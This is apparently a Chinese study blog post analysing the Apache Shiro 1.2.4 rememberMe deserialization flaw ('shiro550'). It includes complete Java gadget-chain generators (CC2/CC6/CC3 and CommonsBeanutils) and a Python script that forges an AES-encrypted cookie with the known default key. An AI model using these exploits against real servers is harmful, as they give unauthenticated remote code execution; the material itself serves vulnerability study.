shiro550(包括加密流程分析,cc链和CB链两种打法)!!!

环境搭建:

github上把源码拉下来
git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4
拉下源码后编辑shiro/samples/web目录下的pom.xml,将jstl的版本修改为1.2

<dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>jstl</artifactId>
            <version>1.2</version>
            <scope>runtime</scope>
        </dependency>

漏洞复现:

运行tomcat之后,登录抓包发送,发现响应包就带有remberme字段

加密过程分析:

然后就是去看一下这个remberme的字段在java里面是如何生成的?

然后在这个函数里面发现了base64解码的操作,说明数据是经过一次base64加密的

然后去看哪个方法调用了getRemberedSerializedIdentity函数,然后找到了如下这个函数

看代码发现bytes获取到getRemberedSerializedIdentity函数返回的值后又被传到了converBytesToPrincipals方法里面,然后跟进去看看

发现总共两个操作,一个解码,一个反序列化函数,然后看一看decrypt函数,然后发现又调用了一次这个函数

跟进去发现是一个接口,然后传进去一个加密的字段,然后是一个key

说明getDecryptionCipherKey就是获取key,跟进去看看

发现是一个常量,看看哪里赋值了

然后就是一直找调用函数的方法

然后就成功找到key了,很简单,上面的过程只需要去找调用目标函数的其他函数即可
同样我们发现文档里面注释写了是aes加密

总结:

构造恶意的序列化cookie remberMeDE的值->base64解码->aes(利用key)解密->反序列化->执行恶意代码

commons-collections_3.2.1_payload利用

这样的话加解密流程就已经清楚了,接下来就是构造payload了,很多人会说使用cc链去打,因为在shiro里的外部库里面有这个依赖

但实际上这个包是一个test依赖,而maven在加载的时候只会加载compile和runtime的依赖,所以实际上不添加依赖行不通

但是我们可以手动添加一下,尝试用cc打一下(毕竟这只是shiro默认的,在实际生产环境中可能会加载这个依赖)

cc2+3+6(ysoserial的cc2链也能打通,是cc4.x的依赖)
第一波直接用cc6去打发现报错,提示无法加载到一个类其实就是transformer数组那个类

然后断点下到shiro反序列化的时候即调用readobject的时候

但仔细看代码发现他调用的并不是原生的ObjectInputStream的readobject,而是ClassResolvingObjectInputStream的
更进去看一下发现这个类重写了resolveClass方法(java反序列化一定会调用的一个方法)
对比没有重写原生的来看

发现调用forname的类不一样,所以我们看一下重写的ClassUtils的forname

仔细看发现可能会调用三次loadclass类加载(现成类加载器,当前类加载器以及系统类加载器)
宏观来看可以理解为classUtils的forname不能加载transformer数组类,而class的forname是可以的(仔细来看有点麻烦,是和tomcat的内置有关系)

所以回顾一下之前学的几条链,找一下哪些不用数组
最后找到的是cc2+cc6+cc3

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class shiro_236 {
    public static void main(String[] args)throws Exception {

        //cc3
        TemplatesImpl templates = new TemplatesImpl();
        Class tc=templates.getClass();

        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaa");

        Field bytecodesField=tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        byte[] code= Files.readAllBytes(Paths.get("D://Security/JavaStudy/java_src/serialize/tmp/Test.class"));
        byte[][] codes={code};
        bytecodesField.set(templates,codes);

        //cc2
        InvokerTransformer invokerTransformer =new InvokerTransformer("newTransformer",null,null);

        //cc6
        HashMap<Object,Object> map=new HashMap<>();
        Map<Object,Object> lazyMap= LazyMap.decorate(map,new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry,"bbbb");

        lazyMap.remove(templates);

        Class c=LazyMap.class;
        Field factoryField=c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,invokerTransformer);

        serialize(map2);
        //unserialize("ser.bin");
    }
    public static void serialize(Object obj)throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=ois.readObject();
        return obj;
    }
}

然后exp.py运行,把生成的cookie放到bp里面替换发送就能弹窗了

exp.py:

import base64
import uuid
from random import Random
from Crypto.Cipher import AES


def get_file_data(filename):
    with open(filename, 'rb') as f:
        data = f.read()
    return data


def aes_enc(data):
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
    return ciphertext


def aes_dec(enc_data):
    enc_data = base64.b64decode(enc_data)
    unpad = lambda s: s[:-s[-1]]
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = enc_data[:16]
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    plaintext = encryptor.decrypt(enc_data[16:])
    plaintext = unpad(plaintext)
    return plaintext


if __name__ == '__main__':
    data = get_file_data("ser.bin")
    print(aes_enc(data))

原生shiro commonsBeautils打shiro

● 属性复制:能把一个 JavaBean 属性值复制到另一个,便于 DTO 和实体类数据转换。
● 属性访问:可动态访问和修改 JavaBean 属性,依属性名动态操作。
● 数组和集合处理:能处理 JavaBean 中数组和集合类型属性。
● 类型转换:属性复制时可自动进行类型转换。
● 嵌套属性操作:支持对嵌套 JavaBean 属性进行操作。

JavaBean

是一种遵循特定编程约定的 Java 类,基本特征
● 私有属性:JavaBean 类会将数据封装成私有属性,以此来保证数据的安全性,防止外部代码直接对其进行修改。
● 公共访问方法:为每个私有属性提供对应的公共 getter 和 setter 方法,外界通过这些方法来访问和修改属性。
● 无参构造方法:JavaBean 必须包含一个无参的构造方法,这使得在创建对象实例时更加灵活,也便于一些框架(如 Spring)来实例化对象。
commonsBeautils就是可用通过PropertyUtils.getProperty来获取一个javabean的某一个变量的内容

这里getProperty方法就会自动调用person类的get$name/$age方法来获取名字或者年龄
显然这里就存在一个可能会动态执行代码的地方,跟到getProperty里面看看
发现里面调用了另一个对象的getProperty,在更进去看看,发现调用了getNestedProperty方法

然后看下面不满足那几个if条件会调用getSimpleProperty方法

更进去里面动态调试后会发现它会调用我们传入的属性值的set和get方法

然后接着就会有根据获取到的方法来进行反射调用

然后我们可以想到在TemplatesImpl类里面有个getOutputProperties方法,用到了newtransformer

我们知道newtramsformer是可以动态加载类的
然后注意到getOutputProperties是get打头的,是符合javabean的格式
然后结合cc3的templates,缝合一个暂时的代码

发现就能弹计算器了,所以接下来要做的就是去找一个链子,看来头是能反序列化的,然后中间又是能调用getProperty方法

tip:

因为在调用getProperty方法的时候,会把get和传进去的参数进行拼接然后调用getOutputProperties方法,在这个过程中java会把传参内容的首字母变成大写,而当我们直接传首字母为大写的参数的时候,他并不会弹计算器,这是因为在java中是小驼峰读法,当第一个字母为大写的时候,会识别不到这个参数,就会导致后续的都不会执行
然后找到了BeanComparator的compare方法调用了getProperty,而且变量可控

然后想到在cc2的时候会用到优先队列,在优先队列里的readobjct里面会调用一个heapify,然后heapify会调siftDown,siftDown会调用siftDownUsingComparator方法,在这个方法里面会调用comparator的compare方法

然后再cc2里面还调用了TransformingComparator,然后他的comparer方法会调用transformer的transform方法和compare方法
所以这整条链就连起来了

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class commonsBeautils {
    public static void main(String[] args)throws Exception{
        //cc3
        TemplatesImpl templates = new TemplatesImpl();
        Class tc=templates.getClass();

        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaa");

        Field bytecodesField=tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);


    //        Field tfactoryField=tc.getDeclaredField("_tfactory");
    //        tfactoryField.setAccessible(true);
    //        tfactoryField.set(templates, new TransformerFactoryImpl());

        byte[] code= Files.readAllBytes(Paths.get("D://Security/JavaStudy/java_src/serialize/tmp/Test.class"));
        byte[][] codes={code};
        bytecodesField.set(templates,codes);


        //cb
        //PropertyUtils.getProperty(templates,"outputProperties");
        BeanComparator beanComparator = new BeanComparator("outputProperties");


        //cc2
        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        priorityQueue.add(templates);
        priorityQueue.add(2);

        Class<PriorityQueue> c=PriorityQueue.class;
        Field comparatorField = c.getDeclaredField("comparator");
        comparatorField.setAccessible(true);
        comparatorField.set(priorityQueue,beanComparator);

        serialize(priorityQueue);
        //unserialize("ser.bin");
    }
    public static void serialize(Object obj)throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=ois.readObject();
        return obj;
    }
}

但是最后exp.py执行之,替换remberme字段发送之后会报一个错,显示找不到

这是一个cc的东西,但是并没用到cc,为什么会报错呢?原因是cb在设计的时候和cc有很多重合的地方
BeanComparator的构造函数会传入一个ComparableComparator

而ComparableComparator实际上是cc里面的

但是下面有另一个beanComparator的构造方法,可以自己传一个comparator(cb有或者jdk里面有就行了)
最后找到的代替(既要继承comparator接口也要继承serialize接口)是

最后修改一下代码的这里就能弹计算器了

tip:

如果最后要用ysoserial打的话,要确保commons-beanutils的版本和shiro是一样的

不然就会报错

总结:

这条链就是引入了一种基于javabean的攻击方式,而这种攻击方式是在后续会经常用到的,比如fastjson,可以仔细多学习一下~

参考资料:

https://www.bilibili.com/video/BV1uf4y1T7Rq?spm_id_from=333.788.videopod.sections&vd_source=434900a4c0c6e048d25be4e728623bee

posted @ 2025-03-13 21:40  Zephyr07  阅读(135)  评论(0)    收藏  举报